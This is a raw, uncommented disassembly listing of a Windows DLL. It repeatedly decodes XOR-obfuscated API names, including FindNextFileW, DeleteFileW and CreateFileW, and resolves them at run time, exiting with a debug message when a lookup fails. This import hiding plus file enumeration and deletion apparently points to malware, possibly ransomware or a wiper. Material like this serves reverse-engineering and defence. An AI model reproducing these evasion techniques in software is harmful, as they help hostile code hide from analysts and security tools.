push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1324], eax
test eax, eax
jne 0x100166d2
movaps xmm0, xmmword [0x100a1990]
xor ecx, ecx
movups xmmword [esp + 0xe21], xmm0
mov dword [esp + 0xe41], 0xccd5ecd8
movaps xmm0, xmmword [0x100a1970]
movups xmmword [esp + 0xe31], xmm0
mov dword [esp + 0xe45], 0xddfa9cd9
mov word [esp + 0xe49], 0xd0d5
mov byte [esp + 0xe4b], al
nop word [eax + eax]
mov al, byte [esp + 0xe21]
xor byte [esp + ecx + 0xe22], al
inc ecx
cmp ecx, 0x29
jl 0x100166a0
lea eax, [esp + 0xe22]
mov byte [esp + 0xe4b], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x2a], 0x40
mov al, 0x12
xor al, byte [esp + 0x2a]
mov cl, 0x25
mov byte [esp + 0x2b], al
mov ah, 6
mov al, byte [esp + 0x2a]
mov bh, cl
xor ah, al
mov byte [esp + 0x33], 0
mov dl, 0x21
mov byte [esp + 0x2f], ah
mov ch, 0x29
mov byte [esp + 0x33], 0
mov dh, 0x2c
xor cl, al
xor ch, al
mov byte [esp + 0x2c], cl
mov bl, 0x24
mov byte [esp + 0x30], ch
xor dl, al
xor bl, al
xor dh, al
mov byte [esp + 0x2d], dl
xor bh, al
mov byte [esp + 0x2e], bl
lea eax, [esp + 0x2b]
mov byte [esp + 0x31], dh
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
mov byte [esp + 0x3a], bh
call fcn.1001b880
mov dword [0x100b1328], eax
test eax, eax
jne 0x100167b2
movaps xmm0, xmmword [0x100a0df0]
xor ecx, ecx
movups xmmword [esp + 0x841], xmm0
mov dword [esp + 0x861], 0x39311670
movaps xmm0, xmmword [0x100a0e30]
movups xmmword [esp + 0x851], xmm0
mov word [esp + 0x865], 0x3c
nop
mov al, byte [esp + 0x841]
xor byte [esp + ecx + 0x842], al
inc ecx
cmp ecx, 0x24
jl 0x10016780
lea eax, [esp + 0x842]
mov byte [esp + 0x866], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x48], 0x40
mov al, 0x17
xor al, byte [esp + 0x48]
mov dl, 0x29
mov byte [esp + 0x49], al
mov ah, 0x25
mov al, byte [esp + 0x48]
mov dh, dl
mov byte [esp + 0xc], ah
xor dl, al
xor ah, al
mov byte [esp + 0x52], 0
xor dh, al
mov byte [esp + 0x4d], ah
mov cl, 0x32
mov byte [esp + 0x4b], dl
xor cl, al
mov byte [esp + 0x4f], dh
mov ch, 6
mov byte [esp + 0x4a], cl
xor ch, al
mov byte [esp + 0x52], 0
mov bl, 0x34
mov byte [esp + 0x4e], ch
xor bl, al
mov bh, 0x2c
xor bh, al
mov byte [esp + 0x4c], bl
mov al, byte [esp + 0xc]
mov ecx, 0x100b12b8
xor al, byte [esp + 0x48]
mov byte [esp + 0x51], al
lea eax, [esp + 0x49]
push eax
push dword [0x100b12c0]
mov byte [esp + 0x58], bh
call fcn.1001b880
mov dword [0x100b132c], eax
test eax, eax
jne 0x100168b2
movaps xmm0, xmmword [0x100a1100]
xor ecx, ecx
movups xmmword [esp + 0x8b3], xmm0
mov dword [esp + 0x8d3], 0x5d7a1c59
movaps xmm0, xmmword [0x100a0fd0]
movups xmmword [esp + 0x8c3], xmm0
mov word [esp + 0x8d7], 0x5055
mov byte [esp + 0x8d9], al
nop word [eax + eax]
mov al, byte [esp + 0x8b3]
xor byte [esp + ecx + 0x8b4], al
inc ecx
cmp ecx, 0x25
jl 0x10016880
lea eax, [esp + 0x8b4]
mov byte [esp + 0x8d9], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x48
mov dword [esp + 0xd2], 0x2d380748
mov dword [esp + 0xd6], 0x273a1826
xor eax, eax
mov dword [esp + 0xda], 0x3b3b2d2b
mov byte [esp + 0xde], 0
nop
xor byte [esp + eax + 0xd3], cl
inc eax
cmp eax, 0xb
jge 0x100168f6
mov cl, byte [esp + 0xd2]
jmp 0x100168e0
lea eax, [esp + 0xd3]
mov byte [esp + 0xde], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1330], eax
test eax, eax
jne 0x10016992
movaps xmm0, xmmword [str.1_]
movups xmmword [esp + 0xa8d], xmm0
mov dword [esp + 0xaad], 0x5c0f0f19
movaps xmm0, xmmword [0x100a0ce0]
movups xmmword [esp + 0xa9d], xmm0
mov dword [esp + 0xab1], 0x10151d3a
mov byte [esp + 0xab5], cl
mov al, byte [esp + 0xa8d]
xor byte [esp + ecx + 0xa8e], al
inc ecx
cmp ecx, 0x27
jl 0x10016960
lea eax, [esp + 0xa8e]
mov byte [esp + 0xab5], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a10b0]
movups xmmword [esp + 0x5b8], xmm0
mov dword [esp + 0x5c8], 0x5f594451
mov word [esp + 0x5cc], 0x675e
mov byte [esp + 0x5ce], 0
nop
mov al, byte [esp + 0x5b8]
xor byte [esp + ecx + 0x5b9], al
inc ecx
cmp ecx, 0x15
jl 0x100169c0
lea eax, [esp + 0x5b9]
mov byte [esp + 0x5ce], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1334], eax
test eax, eax
jne 0x10016a73
movaps xmm0, xmmword [0x100a15a0]
movups xmmword [esp + 0x175f], xmm0
mov word [esp + 0x178f], 0x9095
movaps xmm0, xmmword [0x100a14a0]
movups xmmword [esp + 0x176f], xmm0
mov byte [esp + 0x1791], cl
movaps xmm0, xmmword [0x100a1580]
movups xmmword [esp + 0x177f], xmm0
mov al, byte [esp + 0x175f]
xor byte [esp + ecx + 0x1760], al
inc ecx
cmp ecx, 0x31
jl 0x10016a41
lea eax, [esp + 0x1760]
mov byte [esp + 0x1791], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a09e0]
movups xmmword [esp + 0x2d1], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x2d1]
xor byte [esp + ecx + 0x2d2], al
inc ecx
cmp ecx, 0xe
jl 0x10016a90
lea eax, [esp + 0x2d2]
mov byte [esp + 0x2e0], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1338], eax
test eax, eax
jne 0x10016b42
movaps xmm0, xmmword [0x100a16a0]
xor ecx, ecx
movups xmmword [esp + 0x107c], xmm0
mov dword [esp + 0x109c], 0xa4a18ebc
movaps xmm0, xmmword [0x100a17b0]
movups xmmword [esp + 0x108c], xmm0
mov dword [esp + 0x10a0], 0x8ee89fad
mov dword [esp + 0x10a4], 0xa4a1a9
nop
mov al, byte [esp + 0x107c]
xor byte [esp + ecx + 0x107d], al
inc ecx
cmp ecx, 0x2a
jl 0x10016b10
lea eax, [esp + 0x107d]
mov byte [esp + 0x10a7], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x20
mov dword [esp + 0x20d], 0x4e496620
mov dword [esp + 0x211], 0x58456e44
xor eax, eax
mov dword [esp + 0x215], 0x4c496654
mov word [esp + 0x219], 0x7745
mov byte [esp + 0x21b], 0
nop dword [eax]
xor byte [esp + eax + 0x20e], cl
inc eax
cmp eax, 0xd
jge 0x10016b96
mov cl, byte [esp + 0x20d]
jmp 0x10016b80
lea eax, [esp + 0x20e]
mov byte [esp + 0x21b], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b133c], eax
test eax, eax
jne 0x10016c42
movaps xmm0, xmmword [0x100a16e0]
xor ecx, ecx
movups xmmword [esp + 0xe4c], xmm0
mov dword [esp + 0xe6c], 0xa9a0a58a
movaps xmm0, xmmword [0x100a1760]
movups xmmword [esp + 0xe5c], xmm0
mov dword [esp + 0xe70], 0xad8aec9b
mov word [esp + 0xe74], 0xa0a5
mov byte [esp + 0xe76], al
nop word [eax + eax]
mov al, byte [esp + 0xe4c]
xor byte [esp + ecx + 0xe4d], al
inc ecx
cmp ecx, 0x29
jl 0x10016c10
lea eax, [esp + 0xe4d]
mov byte [esp + 0xe76], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x53], 0xf8
mov al, 0xbe
xor al, byte [esp + 0x53]
mov cl, 0x91
mov byte [esp + 0x54], al
mov dl, 0x96
mov al, byte [esp + 0x53]
mov ah, 0xbb
xor cl, al
mov byte [esp + 0xc], 0x9d
xor dl, al
mov byte [esp + 0x55], cl
xor ah, al
mov byte [esp + 0x5d], 0
mov ch, 0x94
mov byte [esp + 0x58], ah
xor ch, al
mov byte [esp + 0x56], dl
mov dh, 0x97
mov byte [esp + 0x59], ch
xor dh, al
mov byte [esp + 0x5d], 0
mov bl, 0x9c
mov byte [esp + 0x5a], dh
xor bl, al
mov bh, 0x8b
xor bh, al
mov byte [esp + 0x57], bl
mov al, byte [esp + 0xc]
mov ecx, 0x100b12b8
xor al, byte [esp + 0x53]
mov byte [esp + 0x5c], al
lea eax, [esp + 0x54]
push eax
push dword [0x100b12c0]
mov byte [esp + 0x63], bh
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1340], eax
test eax, eax
jne 0x10016d42
movaps xmm0, xmmword [0x100a12c0]
movups xmmword [esp + 0x8da], xmm0
mov dword [esp + 0x8fa], 0x75523471
movaps xmm0, xmmword [0x100a11a0]
movups xmmword [esp + 0x8ea], xmm0
mov word [esp + 0x8fe], 0x787d
mov byte [esp + 0x900], cl
nop word [eax + eax]
mov al, byte [esp + 0x8da]
xor byte [esp + ecx + 0x8db], al
inc ecx
cmp ecx, 0x25
jl 0x10016d10
lea eax, [esp + 0x8db]
mov byte [esp + 0x900], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1920]
movups xmmword [esp + 0x492], xmm0
mov dword [esp + 0x4a2], 0xf7d3c5
nop dword [eax]
mov al, byte [esp + 0x492]
xor byte [esp + ecx + 0x493], al
inc ecx
cmp ecx, 0x12
jl 0x10016d60
lea eax, [esp + 0x493]
mov byte [esp + 0x4a5], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1344], eax
test eax, eax
jne 0x10016e02
movaps xmm0, xmmword [0x100a11c0]
movups xmmword [esp + 0x1515], xmm0
movaps xmm0, xmmword [0x100a0f50]
movups xmmword [esp + 0x1525], xmm0
movaps xmm0, xmmword [str.zajm__Niad]
movups xmmword [esp + 0x1535], xmm0
nop dword [eax]
mov al, byte [esp + 0x1515]
xor byte [esp + ecx + 0x1516], al
inc ecx
cmp ecx, 0x2e
jl 0x10016dd0
lea eax, [esp + 0x1516]
mov byte [esp + 0x1544], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1b70]
movups xmmword [esp + 0x3ca], xmm0
mov word [esp + 0x3da], 0xd7
nop dword [eax + eax]
mov al, byte [esp + 0x3ca]
xor byte [esp + ecx + 0x3cb], al
inc ecx
cmp ecx, 0x10
jl 0x10016e20
lea eax, [esp + 0x3cb]
mov byte [esp + 0x3db], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1348], eax
test eax, eax
jne 0x10016ee2
movaps xmm0, xmmword [0x100a14c0]
xor ecx, ecx
movups xmmword [esp + 0x1319], xmm0
mov dword [esp + 0x1339], 0x84939582
movaps xmm0, xmmword [0x100a1550]
movups xmmword [esp + 0x1329], xmm0
mov dword [esp + 0x133d], 0xa789829f
mov dword [esp + 0x1341], 0x9991b6d0
mov word [esp + 0x1345], 0x9c
nop dword [eax]
mov al, byte [esp + 0x1319]
xor byte [esp + ecx + 0x131a], al
inc ecx
cmp ecx, 0x2c
jl 0x10016eb0
lea eax, [esp + 0x131a]
mov byte [esp + 0x1346], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0xdf], 0x6c654400
mov dword [esp + 0xe3], 0x46657465
xor eax, eax
mov dword [esp + 0xe7], 0x57656c69
mov byte [esp + 0xeb], cl
nop
xor byte [esp + eax + 0xe0], cl
inc eax
cmp eax, 0xb
jge 0x10016f26
mov cl, byte [esp + 0xdf]
jmp 0x10016f10
lea eax, [esp + 0xe0]
mov byte [esp + 0xeb], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b134c], eax
test eax, eax
jne 0x10016fc2
movaps xmm0, xmmword [0x100a1b40]
movups xmmword [esp + 0xab6], xmm0
mov dword [esp + 0xad6], 0xb4c3f1f8
movaps xmm0, xmmword [0x100a1bd0]
movups xmmword [esp + 0xac6], xmm0
mov dword [esp + 0xada], 0xf8fdf5d2
mov byte [esp + 0xade], cl
mov al, byte [esp + 0xab6]
xor byte [esp + ecx + 0xab7], al
inc ecx
cmp ecx, 0x27
jl 0x10016f90
lea eax, [esp + 0xab7]
mov byte [esp + 0xade], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1b80]
movups xmmword [esp + 0x3dc], xmm0
mov word [esp + 0x3ec], 0xd7
nop dword [eax + eax]
mov al, byte [esp + 0x3dc]
xor byte [esp + ecx + 0x3dd], al
inc ecx
cmp ecx, 0x10
jl 0x10016fe0
lea eax, [esp + 0x3dd]
mov byte [esp + 0x3ed], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1350], eax
test eax, eax
jne 0x100170a2
movaps xmm0, xmmword [0x100a1000]
xor ecx, ecx
movups xmmword [esp + 0x1347], xmm0
mov dword [esp + 0x1367], 0x44535542
movaps xmm0, xmmword [0x100a1040]
movups xmmword [esp + 0x1357], xmm0
mov dword [esp + 0x136b], 0x6749425f
mov dword [esp + 0x136f], 0x59517610
mov word [esp + 0x1373], 0x5c
nop dword [eax]
mov al, byte [esp + 0x1347]
xor byte [esp + ecx + 0x1348], al
inc ecx
cmp ecx, 0x2c
jl 0x10017070
lea eax, [esp + 0x1348]
mov byte [esp + 0x1374], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x5e], 0xb0
mov al, 0xf3
xor al, byte [esp + 0x5e]
mov cl, 0xdf
mov byte [esp + 0x5f], al
mov dl, 0xc0
mov al, byte [esp + 0x5e]
mov ah, 0xf6
xor cl, al
mov byte [esp + 0xc], 0xe7
xor dl, al
mov byte [esp + 0x60], cl
xor ah, al
mov byte [esp + 0x68], 0
mov ch, 0xd9
mov byte [esp + 0x63], ah
xor ch, al
mov byte [esp + 0x61], dl
mov dh, 0xdc
mov byte [esp + 0x64], ch
xor dh, al
mov byte [esp + 0x68], 0
mov bl, 0xc9
mov byte [esp + 0x65], dh
xor bl, al
mov bh, 0xd5
xor bh, al
mov byte [esp + 0x62], bl
mov al, byte [esp + 0xc]
mov ecx, 0x100b12b8
xor al, byte [esp + 0x5e]
mov byte [esp + 0x67], al
lea eax, [esp + 0x5f]
push eax
push dword [0x100b12c0]
mov byte [esp + 0x6e], bh
call fcn.1001b880
mov dword [0x100b1354], eax
test eax, eax
jne 0x100171a2
movaps xmm0, xmmword [0x100a1450]
xor ecx, ecx
movups xmmword [esp + 0x901], xmm0
mov dword [esp + 0x921], 0x8daaccbb
movaps xmm0, xmmword [0x100a1410]
movups xmmword [esp + 0x911], xmm0
mov word [esp + 0x925], 0x8085
mov byte [esp + 0x927], al
nop word [eax + eax]
mov al, byte [esp + 0x901]
xor byte [esp + ecx + 0x902], al
inc ecx
cmp ecx, 0x25
jl 0x10017170
lea eax, [esp + 0x902]
mov byte [esp + 0x927], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x69], 8
mov al, 0x45
xor al, byte [esp + 0x69]
mov bl, 0x6d
mov byte [esp + 0x6a], al
mov cl, 0x67
mov al, byte [esp + 0x69]
mov dl, 0x7e
xor cl, al
mov byte [esp + 0xc], 0x5f
xor dl, al
mov byte [esp + 0x6b], cl
mov ah, 0x4e
mov byte [esp + 0x73], 0
xor ah, al
mov byte [esp + 0x6c], dl
mov ch, 0x61
mov byte [esp + 0x6e], ah
xor ch, al
mov byte [esp + 0x73], 0
mov dh, 0x64
mov byte [esp + 0x6f], ch
xor dh, al
mov bh, bl
xor bl, al
mov byte [esp + 0x70], dh
xor bh, al
mov byte [esp + 0x6d], bl
mov al, byte [esp + 0xc]
mov ecx, 0x100b12b8
xor al, byte [esp + 0x69]
mov byte [esp + 0x72], al
lea eax, [esp + 0x6a]
push eax
push dword [0x100b12c0]
mov byte [esp + 0x79], bh
call fcn.1001b880
mov dword [0x100b1358], eax
test eax, eax
jne 0x100172a2
movaps xmm0, xmmword [0x100a13d0]
xor ecx, ecx
movups xmmword [esp + 0x928], xmm0
mov dword [esp + 0x948], 0x85a2c4b3
movaps xmm0, xmmword [0x100a1320]
movups xmmword [esp + 0x938], xmm0
mov word [esp + 0x94c], 0x888d
mov byte [esp + 0x94e], al
nop word [eax + eax]
mov al, byte [esp + 0x928]
xor byte [esp + ecx + 0x929], al
inc ecx
cmp ecx, 0x25
jl 0x10017270
lea eax, [esp + 0x929]
mov byte [esp + 0x94e], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x20
mov dword [esp + 0xec], 0x45526320
mov dword [esp + 0xf0], 0x66455441
xor eax, eax
mov dword [esp + 0xf4], 0x77454c49
mov byte [esp + 0xf8], 0
nop
xor byte [esp + eax + 0xed], cl
inc eax
cmp eax, 0xb
jge 0x100172e6
mov cl, byte [esp + 0xec]
jmp 0x100172d0
lea eax, [esp + 0xed]
mov byte [esp + 0xf8], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b135c], eax
test eax, eax
jne 0x10017382
movaps xmm0, xmmword [0x100a1010]
xor ecx, ecx
movups xmmword [esp + 0xadf], xmm0
mov dword [esp + 0xaff], 0x14635158
movaps xmm0, xmmword [0x100a10f0]
movups xmmword [esp + 0xaef], xmm0
mov dword [esp + 0xb03], 0x585d5572
mov byte [esp + 0xb07], al
mov al, byte [esp + 0xadf]
xor byte [esp + ecx + 0xae0], al
inc ecx
cmp ecx, 0x27
jl 0x10017350
lea eax, [esp + 0xae0]
mov byte [esp + 0xb07], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xa8
mov dword [esp + 0xf9], 0xdccdefa8
mov dword [esp + 0xfd], 0xcdc4c1ee
xor eax, eax
mov dword [esp + 0x101], 0xcdd2c1fb
mov byte [esp + 0x105], 0
nop
xor byte [esp + eax + 0xfa], cl
inc eax
cmp eax, 0xb
jge 0x100173c6
mov cl, byte [esp + 0xf9]
jmp 0x100173b0
lea eax, [esp + 0xfa]
mov byte [esp + 0x105], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1360], eax
test eax, eax
jne 0x10017462
movaps xmm0, xmmword [0x100a0eb0]
movups xmmword [esp + 0xb08], xmm0
mov dword [esp + 0xb28], 0x7c392635
movaps xmm0, xmmword [0x100a0c20]
movups xmmword [esp + 0xb18], xmm0
mov dword [esp + 0xb2c], 0x30353d1a
mov byte [esp + 0xb30], cl
mov al, byte [esp + 0xb08]
xor byte [esp + ecx + 0xb09], al
inc ecx
cmp ecx, 0x27
jl 0x10017430
lea eax, [esp + 0xb09]
mov byte [esp + 0xb30], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0a80]
movups xmmword [esp + 0x2e1], xmm0
mov al, byte [esp + 0x2e1]
xor byte [esp + ecx + 0x2e2], al
inc ecx
cmp ecx, 0xe
jl 0x10017471
lea eax, [esp + 0x2e2]
mov byte [esp + 0x2f0], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1364], eax
test eax, eax
jne 0x10017532
movaps xmm0, xmmword [0x100a12e0]
xor ecx, ecx
movups xmmword [esp + 0x10a8], xmm0
mov dword [esp + 0x10c8], 0x6c767177
movaps xmm0, xmmword [0x100a0f40]
movups xmmword [esp + 0x10b8], xmm0
mov dword [esp + 0x10cc], 0x5e386a7d
mov dword [esp + 0x10d0], 0x747179
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x10a8]
xor byte [esp + ecx + 0x10a9], al
inc ecx
cmp ecx, 0x2a
jl 0x10017500
lea eax, [esp + 0x10a9]
mov byte [esp + 0x10d3], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xe0
mov dword [esp + 0x162], 0x9485b3e0
mov dword [esp + 0x166], 0xaf848ea5
xor eax, eax
mov dword [esp + 0x16a], 0x8c89a686
mov word [esp + 0x16e], 0x85
xor byte [esp + eax + 0x163], cl
inc eax
cmp eax, 0xc
jge 0x10017577
mov cl, byte [esp + 0x162]
jmp 0x10017561
lea eax, [esp + 0x163]
mov byte [esp + 0x16f], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1368], eax
test eax, eax
jne 0x10017622
movaps xmm0, xmmword [0x100a0f00]
movups xmmword [esp + 0xc51], xmm0
mov dword [esp + 0xc71], 0x454c4966
movaps xmm0, xmmword [0x100a0f30]
movups xmmword [esp + 0xc61], xmm0
mov dword [esp + 0xc75], 0x49416600
mov word [esp + 0xc79], 0x4c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xc51]
xor byte [esp + ecx + 0xc52], al
inc ecx
cmp ecx, 0x28
jl 0x100175f0
lea eax, [esp + 0xc52]
mov byte [esp + 0xc7a], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1a50]
movups xmmword [esp + 0x4a6], xmm0
mov dword [esp + 0x4b6], 0xd7e7ee
nop dword [eax]
mov al, byte [esp + 0x4a6]
xor byte [esp + ecx + 0x4a7], al
inc ecx
cmp ecx, 0x12
jl 0x10017640
lea eax, [esp + 0x4a7]
mov byte [esp + 0x4b9], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b136c], eax
test eax, eax
jne 0x100176e2
movaps xmm0, xmmword [0x100a0f70]
xor ecx, ecx
movups xmmword [esp + 0x1545], xmm0
movaps xmm0, xmmword [0x100a0ee0]
movups xmmword [esp + 0x1555], xmm0
movaps xmm0, xmmword [str.DMeIXXAFO]
movups xmmword [esp + 0x1565], xmm0
nop dword [eax]
mov al, byte [esp + 0x1545]
xor byte [esp + ecx + 0x1546], al
inc ecx
cmp ecx, 0x2e
jl 0x100176b0
lea eax, [esp + 0x1546]
mov byte [esp + 0x1574], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x78
mov dword [esp + 0x21c], 0x8193578
mov dword [esp + 0x220], 0xf1d112e
xor eax, eax
mov dword [esp + 0x224], 0x113e1e37
mov word [esp + 0x228], 0x1d14
mov byte [esp + 0x22a], 0
nop dword [eax]
xor byte [esp + eax + 0x21d], cl
inc eax
cmp eax, 0xd
jge 0x10017736
mov cl, byte [esp + 0x21c]
jmp 0x10017720
lea eax, [esp + 0x21d]
mov byte [esp + 0x22a], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1370], eax
test eax, eax
jne 0x100177e2
movaps xmm0, xmmword [0x100a0d40]
movups xmmword [esp + 0xe77], xmm0
mov dword [esp + 0xe97], 0x282d0222
movaps xmm0, xmmword [0x100a0bc0]
movups xmmword [esp + 0xe87], xmm0
mov dword [esp + 0xe9b], 0x25026421
mov word [esp + 0xe9f], 0x282d
mov byte [esp + 0xea1], cl
nop word [eax + eax]
mov al, byte [esp + 0xe77]
xor byte [esp + ecx + 0xe78], al
inc ecx
cmp ecx, 0x29
jl 0x100177b0
lea eax, [esp + 0xe78]
mov byte [esp + 0xea1], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a12b0]
movups xmmword [esp + 0x362], xmm0
mov byte [esp + 0x372], 0
nop dword [eax]
mov al, byte [esp + 0x362]
xor byte [esp + ecx + 0x363], al
inc ecx
cmp ecx, 0xf
jl 0x10017800
lea eax, [esp + 0x363]
mov byte [esp + 0x372], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1374], eax
test eax, eax
jne 0x100178c2
movaps xmm0, xmmword [0x100a12c0]
movups xmmword [esp + 0x1209], xmm0
mov dword [esp + 0x1229], 0x52725b63
movaps xmm0, xmmword [0x100a1250]
movups xmmword [esp + 0x1219], xmm0
mov dword [esp + 0x122d], 0x3471787d
mov dword [esp + 0x1231], 0x787d7552
mov byte [esp + 0x1235], cl
nop dword [eax]
mov al, byte [esp + 0x1209]
xor byte [esp + ecx + 0x120a], al
inc ecx
cmp ecx, 0x2b
jl 0x10017890
lea eax, [esp + 0x120a]
mov byte [esp + 0x1235], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1070]
movups xmmword [esp + 0x6bc], xmm0
mov dword [esp + 0x6cc], 0x4d577b5d
mov dword [esp + 0x6d0], 0x4a5d4c56
mov byte [esp + 0x6d4], 0
nop
mov al, byte [esp + 0x6bc]
xor byte [esp + ecx + 0x6bd], al
inc ecx
cmp ecx, 0x17
jl 0x100178f0
lea eax, [esp + 0x6bd]
mov byte [esp + 0x6d4], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1378], eax
test eax, eax
jne 0x100179b2
movaps xmm0, xmmword [0x100a1100]
xor ecx, ecx
movups xmmword [esp + 0x192e], xmm0
mov dword [esp + 0x195e], 0x50555d7a
movaps xmm0, xmmword [0x100a0f90]
movups xmmword [esp + 0x193e], xmm0
mov byte [esp + 0x1962], al
movaps xmm0, xmmword [str.ZSNQ_R_Y]
movups xmmword [esp + 0x194e], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x192e]
xor byte [esp + ecx + 0x192f], al
inc ecx
cmp ecx, 0x33
jl 0x10017980
lea eax, [esp + 0x192f]
mov byte [esp + 0x1962], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100b12c4]
test edx, edx
je 0x10018f42
mov cl, 0x60
mov dword [esp + 0x106], 0x7053260
mov dword [esp + 0x10a], 0xe05102f
xor eax, eax
mov dword [esp + 0x10e], 0x3719052b
mov byte [esp + 0x112], 0
nop dword [eax]
xor byte [esp + eax + 0x107], cl
inc eax
cmp eax, 0xb
jge 0x10017a06
mov cl, byte [esp + 0x106]
jmp 0x100179f0
lea eax, [esp + 0x107]
mov byte [esp + 0x112], 0
push eax
push edx
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b137c], eax
test eax, eax
jne 0x10017aa2
movaps xmm0, xmmword [str.t_97e]
movups xmmword [esp + 0xb31], xmm0
mov dword [esp + 0xb51], 0x54230d11
movaps xmm0, xmmword [0x100a0ea0]
movups xmmword [esp + 0xb41], xmm0
mov dword [esp + 0xb55], 0x181d1532
mov byte [esp + 0xb59], cl
nop dword [eax + eax]
mov al, byte [esp + 0xb31]
xor byte [esp + ecx + 0xb32], al
inc ecx
cmp ecx, 0x27
jl 0x10017a70
lea eax, [esp + 0xb32]
mov byte [esp + 0xb59], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1b50]
movups xmmword [esp + 0x3ee], xmm0
mov word [esp + 0x3fe], 0xd7
nop dword [eax + eax]
mov al, byte [esp + 0x3ee]
xor byte [esp + ecx + 0x3ef], al
